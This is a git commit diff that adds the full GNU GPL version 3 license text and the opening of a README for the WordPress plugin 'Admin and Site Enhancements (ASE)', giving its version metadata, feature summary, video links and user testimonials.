initial
This commit is contained in:
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,675 @@
|
||||
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The GNU General Public License is a free, copyleft license for
|
||||
software and other kinds of works.
|
||||
|
||||
The licenses for most software and other practical works are designed
|
||||
to take away your freedom to share and change the works. By contrast,
|
||||
the GNU General Public License is intended to guarantee your freedom to
|
||||
share and change all versions of a program--to make sure it remains free
|
||||
software for all its users. We, the Free Software Foundation, use the
|
||||
GNU General Public License for most of our software; it applies also to
|
||||
any other work released this way by its authors. You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
them if you wish), that you receive source code or can get it if you
|
||||
want it, that you can change the software or use pieces of it in new
|
||||
free programs, and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to prevent others from denying you
|
||||
these rights or asking you to surrender the rights. Therefore, you have
|
||||
certain responsibilities if you distribute copies of the software, or if
|
||||
you modify it: responsibilities to respect the freedom of others.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must pass on to the recipients the same
|
||||
freedoms that you received. You must make sure that they, too, receive
|
||||
or can get the source code. And you must show them these terms so they
|
||||
know their rights.
|
||||
|
||||
Developers that use the GNU GPL protect your rights with two steps:
|
||||
(1) assert copyright on the software, and (2) offer you this License
|
||||
giving you legal permission to copy, distribute and/or modify it.
|
||||
|
||||
For the developers' and authors' protection, the GPL clearly explains
|
||||
that there is no warranty for this free software. For both users' and
|
||||
authors' sake, the GPL requires that modified versions be marked as
|
||||
changed, so that their problems will not be attributed erroneously to
|
||||
authors of previous versions.
|
||||
|
||||
Some devices are designed to deny users access to install or run
|
||||
modified versions of the software inside them, although the manufacturer
|
||||
can do so. This is fundamentally incompatible with the aim of
|
||||
protecting users' freedom to change the software. The systematic
|
||||
pattern of such abuse occurs in the area of products for individuals to
|
||||
use, which is precisely where it is most unacceptable. Therefore, we
|
||||
have designed this version of the GPL to prohibit the practice for those
|
||||
products. If such problems arise substantially in other domains, we
|
||||
stand ready to extend this provision to those domains in future versions
|
||||
of the GPL, as needed to protect the freedom of users.
|
||||
|
||||
Finally, every program is threatened constantly by software patents.
|
||||
States should not allow patents to restrict development and use of
|
||||
software on general-purpose computers, but in those that do, we wish to
|
||||
avoid the special danger that patents applied to a free program could
|
||||
make it effectively proprietary. To prevent this, the GPL assures that
|
||||
patents cannot be used to render the program non-free.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
TERMS AND CONDITIONS
|
||||
|
||||
0. Definitions.
|
||||
|
||||
"This License" refers to version 3 of the GNU General Public License.
|
||||
|
||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||
works, such as semiconductor masks.
|
||||
|
||||
"The Program" refers to any copyrightable work licensed under this
|
||||
License. Each licensee is addressed as "you". "Licensees" and
|
||||
"recipients" may be individuals or organizations.
|
||||
|
||||
To "modify" a work means to copy from or adapt all or part of the work
|
||||
in a fashion requiring copyright permission, other than the making of an
|
||||
exact copy. The resulting work is called a "modified version" of the
|
||||
earlier work or a work "based on" the earlier work.
|
||||
|
||||
A "covered work" means either the unmodified Program or a work based
|
||||
on the Program.
|
||||
|
||||
To "propagate" a work means to do anything with it that, without
|
||||
permission, would make you directly or secondarily liable for
|
||||
infringement under applicable copyright law, except executing it on a
|
||||
computer or modifying a private copy. Propagation includes copying,
|
||||
distribution (with or without modification), making available to the
|
||||
public, and in some countries other activities as well.
|
||||
|
||||
To "convey" a work means any kind of propagation that enables other
|
||||
parties to make or receive copies. Mere interaction with a user through
|
||||
a computer network, with no transfer of a copy, is not conveying.
|
||||
|
||||
An interactive user interface displays "Appropriate Legal Notices"
|
||||
to the extent that it includes a convenient and prominently visible
|
||||
feature that (1) displays an appropriate copyright notice, and (2)
|
||||
tells the user that there is no warranty for the work (except to the
|
||||
extent that warranties are provided), that licensees may convey the
|
||||
work under this License, and how to view a copy of this License. If
|
||||
the interface presents a list of user commands or options, such as a
|
||||
menu, a prominent item in the list meets this criterion.
|
||||
|
||||
1. Source Code.
|
||||
|
||||
The "source code" for a work means the preferred form of the work
|
||||
for making modifications to it. "Object code" means any non-source
|
||||
form of a work.
|
||||
|
||||
A "Standard Interface" means an interface that either is an official
|
||||
standard defined by a recognized standards body, or, in the case of
|
||||
interfaces specified for a particular programming language, one that
|
||||
is widely used among developers working in that language.
|
||||
|
||||
The "System Libraries" of an executable work include anything, other
|
||||
than the work as a whole, that (a) is included in the normal form of
|
||||
packaging a Major Component, but which is not part of that Major
|
||||
Component, and (b) serves only to enable use of the work with that
|
||||
Major Component, or to implement a Standard Interface for which an
|
||||
implementation is available to the public in source code form. A
|
||||
"Major Component", in this context, means a major essential component
|
||||
(kernel, window system, and so on) of the specific operating system
|
||||
(if any) on which the executable work runs, or a compiler used to
|
||||
produce the work, or an object code interpreter used to run it.
|
||||
|
||||
The "Corresponding Source" for a work in object code form means all
|
||||
the source code needed to generate, install, and (for an executable
|
||||
work) run the object code and to modify the work, including scripts to
|
||||
control those activities. However, it does not include the work's
|
||||
System Libraries, or general-purpose tools or generally available free
|
||||
programs which are used unmodified in performing those activities but
|
||||
which are not part of the work. For example, Corresponding Source
|
||||
includes interface definition files associated with source files for
|
||||
the work, and the source code for shared libraries and dynamically
|
||||
linked subprograms that the work is specifically designed to require,
|
||||
such as by intimate data communication or control flow between those
|
||||
subprograms and other parts of the work.
|
||||
|
||||
The Corresponding Source need not include anything that users
|
||||
can regenerate automatically from other parts of the Corresponding
|
||||
Source.
|
||||
|
||||
The Corresponding Source for a work in source code form is that
|
||||
same work.
|
||||
|
||||
2. Basic Permissions.
|
||||
|
||||
All rights granted under this License are granted for the term of
|
||||
copyright on the Program, and are irrevocable provided the stated
|
||||
conditions are met. This License explicitly affirms your unlimited
|
||||
permission to run the unmodified Program. The output from running a
|
||||
covered work is covered by this License only if the output, given its
|
||||
content, constitutes a covered work. This License acknowledges your
|
||||
rights of fair use or other equivalent, as provided by copyright law.
|
||||
|
||||
You may make, run and propagate covered works that you do not
|
||||
convey, without conditions so long as your license otherwise remains
|
||||
in force. You may convey covered works to others for the sole purpose
|
||||
of having them make modifications exclusively for you, or provide you
|
||||
with facilities for running those works, provided that you comply with
|
||||
the terms of this License in conveying all material for which you do
|
||||
not control copyright. Those thus making or running the covered works
|
||||
for you must do so exclusively on your behalf, under your direction
|
||||
and control, on terms that prohibit them from making any copies of
|
||||
your copyrighted material outside their relationship with you.
|
||||
|
||||
Conveying under any other circumstances is permitted solely under
|
||||
the conditions stated below. Sublicensing is not allowed; section 10
|
||||
makes it unnecessary.
|
||||
|
||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||
|
||||
No covered work shall be deemed part of an effective technological
|
||||
measure under any applicable law fulfilling obligations under article
|
||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||
similar laws prohibiting or restricting circumvention of such
|
||||
measures.
|
||||
|
||||
When you convey a covered work, you waive any legal power to forbid
|
||||
circumvention of technological measures to the extent such circumvention
|
||||
is effected by exercising rights under this License with respect to
|
||||
the covered work, and you disclaim any intention to limit operation or
|
||||
modification of the work as a means of enforcing, against the work's
|
||||
users, your or third parties' legal rights to forbid circumvention of
|
||||
technological measures.
|
||||
|
||||
4. Conveying Verbatim Copies.
|
||||
|
||||
You may convey verbatim copies of the Program's source code as you
|
||||
receive it, in any medium, provided that you conspicuously and
|
||||
appropriately publish on each copy an appropriate copyright notice;
|
||||
keep intact all notices stating that this License and any
|
||||
non-permissive terms added in accord with section 7 apply to the code;
|
||||
keep intact all notices of the absence of any warranty; and give all
|
||||
recipients a copy of this License along with the Program.
|
||||
|
||||
You may charge any price or no price for each copy that you convey,
|
||||
and you may offer support or warranty protection for a fee.
|
||||
|
||||
5. Conveying Modified Source Versions.
|
||||
|
||||
You may convey a work based on the Program, or the modifications to
|
||||
produce it from the Program, in the form of source code under the
|
||||
terms of section 4, provided that you also meet all of these conditions:
|
||||
|
||||
a) The work must carry prominent notices stating that you modified
|
||||
it, and giving a relevant date.
|
||||
|
||||
b) The work must carry prominent notices stating that it is
|
||||
released under this License and any conditions added under section
|
||||
7. This requirement modifies the requirement in section 4 to
|
||||
"keep intact all notices".
|
||||
|
||||
c) You must license the entire work, as a whole, under this
|
||||
License to anyone who comes into possession of a copy. This
|
||||
License will therefore apply, along with any applicable section 7
|
||||
additional terms, to the whole of the work, and all its parts,
|
||||
regardless of how they are packaged. This License gives no
|
||||
permission to license the work in any other way, but it does not
|
||||
invalidate such permission if you have separately received it.
|
||||
|
||||
d) If the work has interactive user interfaces, each must display
|
||||
Appropriate Legal Notices; however, if the Program has interactive
|
||||
interfaces that do not display Appropriate Legal Notices, your
|
||||
work need not make them do so.
|
||||
|
||||
A compilation of a covered work with other separate and independent
|
||||
works, which are not by their nature extensions of the covered work,
|
||||
and which are not combined with it such as to form a larger program,
|
||||
in or on a volume of a storage or distribution medium, is called an
|
||||
"aggregate" if the compilation and its resulting copyright are not
|
||||
used to limit the access or legal rights of the compilation's users
|
||||
beyond what the individual works permit. Inclusion of a covered work
|
||||
in an aggregate does not cause this License to apply to the other
|
||||
parts of the aggregate.
|
||||
|
||||
6. Conveying Non-Source Forms.
|
||||
|
||||
You may convey a covered work in object code form under the terms
|
||||
of sections 4 and 5, provided that you also convey the
|
||||
machine-readable Corresponding Source under the terms of this License,
|
||||
in one of these ways:
|
||||
|
||||
a) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by the
|
||||
Corresponding Source fixed on a durable physical medium
|
||||
customarily used for software interchange.
|
||||
|
||||
b) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by a
|
||||
written offer, valid for at least three years and valid for as
|
||||
long as you offer spare parts or customer support for that product
|
||||
model, to give anyone who possesses the object code either (1) a
|
||||
copy of the Corresponding Source for all the software in the
|
||||
product that is covered by this License, on a durable physical
|
||||
medium customarily used for software interchange, for a price no
|
||||
more than your reasonable cost of physically performing this
|
||||
conveying of source, or (2) access to copy the
|
||||
Corresponding Source from a network server at no charge.
|
||||
|
||||
c) Convey individual copies of the object code with a copy of the
|
||||
written offer to provide the Corresponding Source. This
|
||||
alternative is allowed only occasionally and noncommercially, and
|
||||
only if you received the object code with such an offer, in accord
|
||||
with subsection 6b.
|
||||
|
||||
d) Convey the object code by offering access from a designated
|
||||
place (gratis or for a charge), and offer equivalent access to the
|
||||
Corresponding Source in the same way through the same place at no
|
||||
further charge. You need not require recipients to copy the
|
||||
Corresponding Source along with the object code. If the place to
|
||||
copy the object code is a network server, the Corresponding Source
|
||||
may be on a different server (operated by you or a third party)
|
||||
that supports equivalent copying facilities, provided you maintain
|
||||
clear directions next to the object code saying where to find the
|
||||
Corresponding Source. Regardless of what server hosts the
|
||||
Corresponding Source, you remain obligated to ensure that it is
|
||||
available for as long as needed to satisfy these requirements.
|
||||
|
||||
e) Convey the object code using peer-to-peer transmission, provided
|
||||
you inform other peers where the object code and Corresponding
|
||||
Source of the work are being offered to the general public at no
|
||||
charge under subsection 6d.
|
||||
|
||||
A separable portion of the object code, whose source code is excluded
|
||||
from the Corresponding Source as a System Library, need not be
|
||||
included in conveying the object code work.
|
||||
|
||||
A "User Product" is either (1) a "consumer product", which means any
|
||||
tangible personal property which is normally used for personal, family,
|
||||
or household purposes, or (2) anything designed or sold for incorporation
|
||||
into a dwelling. In determining whether a product is a consumer product,
|
||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||
product received by a particular user, "normally used" refers to a
|
||||
typical or common use of that class of product, regardless of the status
|
||||
of the particular user or of the way in which the particular user
|
||||
actually uses, or expects or is expected to use, the product. A product
|
||||
is a consumer product regardless of whether the product has substantial
|
||||
commercial, industrial or non-consumer uses, unless such uses represent
|
||||
the only significant mode of use of the product.
|
||||
|
||||
"Installation Information" for a User Product means any methods,
|
||||
procedures, authorization keys, or other information required to install
|
||||
and execute modified versions of a covered work in that User Product from
|
||||
a modified version of its Corresponding Source. The information must
|
||||
suffice to ensure that the continued functioning of the modified object
|
||||
code is in no case prevented or interfered with solely because
|
||||
modification has been made.
|
||||
|
||||
If you convey an object code work under this section in, or with, or
|
||||
specifically for use in, a User Product, and the conveying occurs as
|
||||
part of a transaction in which the right of possession and use of the
|
||||
User Product is transferred to the recipient in perpetuity or for a
|
||||
fixed term (regardless of how the transaction is characterized), the
|
||||
Corresponding Source conveyed under this section must be accompanied
|
||||
by the Installation Information. But this requirement does not apply
|
||||
if neither you nor any third party retains the ability to install
|
||||
modified object code on the User Product (for example, the work has
|
||||
been installed in ROM).
|
||||
|
||||
The requirement to provide Installation Information does not include a
|
||||
requirement to continue to provide support service, warranty, or updates
|
||||
for a work that has been modified or installed by the recipient, or for
|
||||
the User Product in which it has been modified or installed. Access to a
|
||||
network may be denied when the modification itself materially and
|
||||
adversely affects the operation of the network or violates the rules and
|
||||
protocols for communication across the network.
|
||||
|
||||
Corresponding Source conveyed, and Installation Information provided,
|
||||
in accord with this section must be in a format that is publicly
|
||||
documented (and with an implementation available to the public in
|
||||
source code form), and must require no special password or key for
|
||||
unpacking, reading or copying.
|
||||
|
||||
7. Additional Terms.
|
||||
|
||||
"Additional permissions" are terms that supplement the terms of this
|
||||
License by making exceptions from one or more of its conditions.
|
||||
Additional permissions that are applicable to the entire Program shall
|
||||
be treated as though they were included in this License, to the extent
|
||||
that they are valid under applicable law. If additional permissions
|
||||
apply only to part of the Program, that part may be used separately
|
||||
under those permissions, but the entire Program remains governed by
|
||||
this License without regard to the additional permissions.
|
||||
|
||||
When you convey a copy of a covered work, you may at your option
|
||||
remove any additional permissions from that copy, or from any part of
|
||||
it. (Additional permissions may be written to require their own
|
||||
removal in certain cases when you modify the work.) You may place
|
||||
additional permissions on material, added by you to a covered work,
|
||||
for which you have or can give appropriate copyright permission.
|
||||
|
||||
Notwithstanding any other provision of this License, for material you
|
||||
add to a covered work, you may (if authorized by the copyright holders of
|
||||
that material) supplement the terms of this License with terms:
|
||||
|
||||
a) Disclaiming warranty or limiting liability differently from the
|
||||
terms of sections 15 and 16 of this License; or
|
||||
|
||||
b) Requiring preservation of specified reasonable legal notices or
|
||||
author attributions in that material or in the Appropriate Legal
|
||||
Notices displayed by works containing it; or
|
||||
|
||||
c) Prohibiting misrepresentation of the origin of that material, or
|
||||
requiring that modified versions of such material be marked in
|
||||
reasonable ways as different from the original version; or
|
||||
|
||||
d) Limiting the use for publicity purposes of names of licensors or
|
||||
authors of the material; or
|
||||
|
||||
e) Declining to grant rights under trademark law for use of some
|
||||
trade names, trademarks, or service marks; or
|
||||
|
||||
f) Requiring indemnification of licensors and authors of that
|
||||
material by anyone who conveys the material (or modified versions of
|
||||
it) with contractual assumptions of liability to the recipient, for
|
||||
any liability that these contractual assumptions directly impose on
|
||||
those licensors and authors.
|
||||
|
||||
All other non-permissive additional terms are considered "further
|
||||
restrictions" within the meaning of section 10. If the Program as you
|
||||
received it, or any part of it, contains a notice stating that it is
|
||||
governed by this License along with a term that is a further
|
||||
restriction, you may remove that term. If a license document contains
|
||||
a further restriction but permits relicensing or conveying under this
|
||||
License, you may add to a covered work material governed by the terms
|
||||
of that license document, provided that the further restriction does
|
||||
not survive such relicensing or conveying.
|
||||
|
||||
If you add terms to a covered work in accord with this section, you
|
||||
must place, in the relevant source files, a statement of the
|
||||
additional terms that apply to those files, or a notice indicating
|
||||
where to find the applicable terms.
|
||||
|
||||
Additional terms, permissive or non-permissive, may be stated in the
|
||||
form of a separately written license, or stated as exceptions;
|
||||
the above requirements apply either way.
|
||||
|
||||
8. Termination.
|
||||
|
||||
You may not propagate or modify a covered work except as expressly
|
||||
provided under this License. Any attempt otherwise to propagate or
|
||||
modify it is void, and will automatically terminate your rights under
|
||||
this License (including any patent licenses granted under the third
|
||||
paragraph of section 11).
|
||||
|
||||
However, if you cease all violation of this License, then your
|
||||
license from a particular copyright holder is reinstated (a)
|
||||
provisionally, unless and until the copyright holder explicitly and
|
||||
finally terminates your license, and (b) permanently, if the copyright
|
||||
holder fails to notify you of the violation by some reasonable means
|
||||
prior to 60 days after the cessation.
|
||||
|
||||
Moreover, your license from a particular copyright holder is
|
||||
reinstated permanently if the copyright holder notifies you of the
|
||||
violation by some reasonable means, this is the first time you have
|
||||
received notice of violation of this License (for any work) from that
|
||||
copyright holder, and you cure the violation prior to 30 days after
|
||||
your receipt of the notice.
|
||||
|
||||
Termination of your rights under this section does not terminate the
|
||||
licenses of parties who have received copies or rights from you under
|
||||
this License. If your rights have been terminated and not permanently
|
||||
reinstated, you do not qualify to receive new licenses for the same
|
||||
material under section 10.
|
||||
|
||||
9. Acceptance Not Required for Having Copies.
|
||||
|
||||
You are not required to accept this License in order to receive or
|
||||
run a copy of the Program. Ancillary propagation of a covered work
|
||||
occurring solely as a consequence of using peer-to-peer transmission
|
||||
to receive a copy likewise does not require acceptance. However,
|
||||
nothing other than this License grants you permission to propagate or
|
||||
modify any covered work. These actions infringe copyright if you do
|
||||
not accept this License. Therefore, by modifying or propagating a
|
||||
covered work, you indicate your acceptance of this License to do so.
|
||||
|
||||
10. Automatic Licensing of Downstream Recipients.
|
||||
|
||||
Each time you convey a covered work, the recipient automatically
|
||||
receives a license from the original licensors, to run, modify and
|
||||
propagate that work, subject to this License. You are not responsible
|
||||
for enforcing compliance by third parties with this License.
|
||||
|
||||
An "entity transaction" is a transaction transferring control of an
|
||||
organization, or substantially all assets of one, or subdividing an
|
||||
organization, or merging organizations. If propagation of a covered
|
||||
work results from an entity transaction, each party to that
|
||||
transaction who receives a copy of the work also receives whatever
|
||||
licenses to the work the party's predecessor in interest had or could
|
||||
give under the previous paragraph, plus a right to possession of the
|
||||
Corresponding Source of the work from the predecessor in interest, if
|
||||
the predecessor has it or can get it with reasonable efforts.
|
||||
|
||||
You may not impose any further restrictions on the exercise of the
|
||||
rights granted or affirmed under this License. For example, you may
|
||||
not impose a license fee, royalty, or other charge for exercise of
|
||||
rights granted under this License, and you may not initiate litigation
|
||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||
any patent claim is infringed by making, using, selling, offering for
|
||||
sale, or importing the Program or any portion of it.
|
||||
|
||||
11. Patents.
|
||||
|
||||
A "contributor" is a copyright holder who authorizes use under this
|
||||
License of the Program or a work on which the Program is based. The
|
||||
work thus licensed is called the contributor's "contributor version".
|
||||
|
||||
A contributor's "essential patent claims" are all patent claims
|
||||
owned or controlled by the contributor, whether already acquired or
|
||||
hereafter acquired, that would be infringed by some manner, permitted
|
||||
by this License, of making, using, or selling its contributor version,
|
||||
but do not include claims that would be infringed only as a
|
||||
consequence of further modification of the contributor version. For
|
||||
purposes of this definition, "control" includes the right to grant
|
||||
patent sublicenses in a manner consistent with the requirements of
|
||||
this License.
|
||||
|
||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||
patent license under the contributor's essential patent claims, to
|
||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||
propagate the contents of its contributor version.
|
||||
|
||||
In the following three paragraphs, a "patent license" is any express
|
||||
agreement or commitment, however denominated, not to enforce a patent
|
||||
(such as an express permission to practice a patent or covenant not to
|
||||
sue for patent infringement). To "grant" such a patent license to a
|
||||
party means to make such an agreement or commitment not to enforce a
|
||||
patent against the party.
|
||||
|
||||
If you convey a covered work, knowingly relying on a patent license,
|
||||
and the Corresponding Source of the work is not available for anyone
|
||||
to copy, free of charge and under the terms of this License, through a
|
||||
publicly available network server or other readily accessible means,
|
||||
then you must either (1) cause the Corresponding Source to be so
|
||||
available, or (2) arrange to deprive yourself of the benefit of the
|
||||
patent license for this particular work, or (3) arrange, in a manner
|
||||
consistent with the requirements of this License, to extend the patent
|
||||
license to downstream recipients. "Knowingly relying" means you have
|
||||
actual knowledge that, but for the patent license, your conveying the
|
||||
covered work in a country, or your recipient's use of the covered work
|
||||
in a country, would infringe one or more identifiable patents in that
|
||||
country that you have reason to believe are valid.
|
||||
|
||||
If, pursuant to or in connection with a single transaction or
|
||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||
covered work, and grant a patent license to some of the parties
|
||||
receiving the covered work authorizing them to use, propagate, modify
|
||||
or convey a specific copy of the covered work, then the patent license
|
||||
you grant is automatically extended to all recipients of the covered
|
||||
work and works based on it.
|
||||
|
||||
A patent license is "discriminatory" if it does not include within
|
||||
the scope of its coverage, prohibits the exercise of, or is
|
||||
conditioned on the non-exercise of one or more of the rights that are
|
||||
specifically granted under this License. You may not convey a covered
|
||||
work if you are a party to an arrangement with a third party that is
|
||||
in the business of distributing software, under which you make payment
|
||||
to the third party based on the extent of your activity of conveying
|
||||
the work, and under which the third party grants, to any of the
|
||||
parties who would receive the covered work from you, a discriminatory
|
||||
patent license (a) in connection with copies of the covered work
|
||||
conveyed by you (or copies made from those copies), or (b) primarily
|
||||
for and in connection with specific products or compilations that
|
||||
contain the covered work, unless you entered into that arrangement,
|
||||
or that patent license was granted, prior to 28 March 2007.
|
||||
|
||||
Nothing in this License shall be construed as excluding or limiting
|
||||
any implied license or other defenses to infringement that may
|
||||
otherwise be available to you under applicable patent law.
|
||||
|
||||
12. No Surrender of Others' Freedom.
|
||||
|
||||
If conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot convey a
|
||||
covered work so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you may
|
||||
not convey it at all. For example, if you agree to terms that obligate you
|
||||
to collect a royalty for further conveying from those to whom you convey
|
||||
the Program, the only way you could satisfy both those terms and this
|
||||
License would be to refrain entirely from conveying the Program.
|
||||
|
||||
13. Use with the GNU Affero General Public License.
|
||||
|
||||
Notwithstanding any other provision of this License, you have
|
||||
permission to link or combine any covered work with a work licensed
|
||||
under version 3 of the GNU Affero General Public License into a single
|
||||
combined work, and to convey the resulting work. The terms of this
|
||||
License will continue to apply to the part which is the covered work,
|
||||
but the special requirements of the GNU Affero General Public License,
|
||||
section 13, concerning interaction through a network will apply to the
|
||||
combination as such.
|
||||
|
||||
14. Revised Versions of this License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions of
|
||||
the GNU General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Program specifies that a certain numbered version of the GNU General
|
||||
Public License "or any later version" applies to it, you have the
|
||||
option of following the terms and conditions either of that numbered
|
||||
version or of any later version published by the Free Software
|
||||
Foundation. If the Program does not specify a version number of the
|
||||
GNU General Public License, you may choose any version ever published
|
||||
by the Free Software Foundation.
|
||||
|
||||
If the Program specifies that a proxy can decide which future
|
||||
versions of the GNU General Public License can be used, that proxy's
|
||||
public statement of acceptance of a version permanently authorizes you
|
||||
to choose that version for the Program.
|
||||
|
||||
Later license versions may give you additional or different
|
||||
permissions. However, no additional obligations are imposed on any
|
||||
author or copyright holder as a result of your choosing to follow a
|
||||
later version.
|
||||
|
||||
15. Disclaimer of Warranty.
|
||||
|
||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. Limitation of Liability.
|
||||
|
||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGES.
|
||||
|
||||
17. Interpretation of Sections 15 and 16.
|
||||
|
||||
If the disclaimer of warranty and limitation of liability provided
|
||||
above cannot be given local legal effect according to their terms,
|
||||
reviewing courts shall apply local law that most closely approximates
|
||||
an absolute waiver of all civil liability in connection with the
|
||||
Program, unless a warranty or assumption of liability accompanies a
|
||||
copy of the Program in return for a fee.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
state the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program does terminal interaction, make it output a short
|
||||
notice like this when it starts in an interactive mode:
|
||||
|
||||
{project} Copyright (C) {year} {fullname}
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, your program's commands
|
||||
might be different; for a GUI interface, you would use an "about box".
|
||||
|
||||
You should also get your employer (if you work as a programmer) or school,
|
||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||
For more information on this, and how to apply and follow the GNU GPL, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
The GNU General Public License does not permit incorporating your program
|
||||
into proprietary programs. If your program is a subroutine library, you
|
||||
may consider it more useful to permit linking proprietary applications with
|
||||
the library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License. But first, please read
|
||||
<http://www.gnu.org/philosophy/why-not-lgpl.html>.
|
||||
@@ -0,0 +1,280 @@
|
||||
# Admin and Site Enhancements (ASE)
|
||||
|
||||
Contributors: qriouslad
|
||||
Donate link: https://bowo.io/asenha-sp-rdm
|
||||
Tags: enhancements, tweaks, optimizations, tools
|
||||
Requires at least: 4.6
|
||||
Tested up to: 7.0
|
||||
Stable tag: 8.8.5
|
||||
Requires PHP: 5.6
|
||||
License: GPLv2 or later
|
||||
License URI: http://www.gnu.org/licenses/gpl-2.0.html
|
||||
|
||||

|
||||
|
||||
Duplicate post, post order, image resize, email via SMTP, admin menu editor, custom css / code, disable gutenberg and much more in a single plugin.
|
||||
|
||||
## Description
|
||||
|
||||
Admin and Site Enhancements (ASE) helps you to **easily enhance** various admin workflows and site aspects while **replacing multiple plugins** doing it.
|
||||
|
||||
**Pro version** with Lifetime Deal (LTD) is available at [www.wpase.com](https://www.wpase.com/rdme-to-web).
|
||||
|
||||
Here's a quick walkthrough of ASE Free at v7.1.5 by Jakson.
|
||||
|
||||
https://www.youtube.com/watch?v=ZEiIKfz2p2Q
|
||||
|
||||
Here's a detailed walkthrough of ASE Free at v7.0.3 by Pascal Claro.
|
||||
|
||||
https://www.youtube.com/watch?v=bX-2gmpCEMU
|
||||
|
||||
[**See more video reviews >>**](https://www.wpase.com/video-reviews/)
|
||||
|
||||
### What Users Say
|
||||
|
||||
_"ASE easily **replaces a dozen or more plugins** I install on **every website project**. Super lightweight and easy to use."_ ~[NetzzJD](https://wordpress.org/support/topic/amazing-must-have-plugin-2/)
|
||||
|
||||
_"**I bought the lifetime deal and was blown away by the quality**, and the free version replaces SO many other plugins too. LOVE THIS!"_ ~[Jacob Wonder](https://wordpress.org/support/topic/amazing-plugin-2545/)
|
||||
|
||||
_"ASE is an amazing plugin! **Time and money saver**. Thank you!"_ ~[Iulian Baciu](https://wordpress.org/support/topic/amazing-plugin-precious/)
|
||||
|
||||
[**See more reviews >>**](https://www.wpase.com/)
|
||||
|
||||
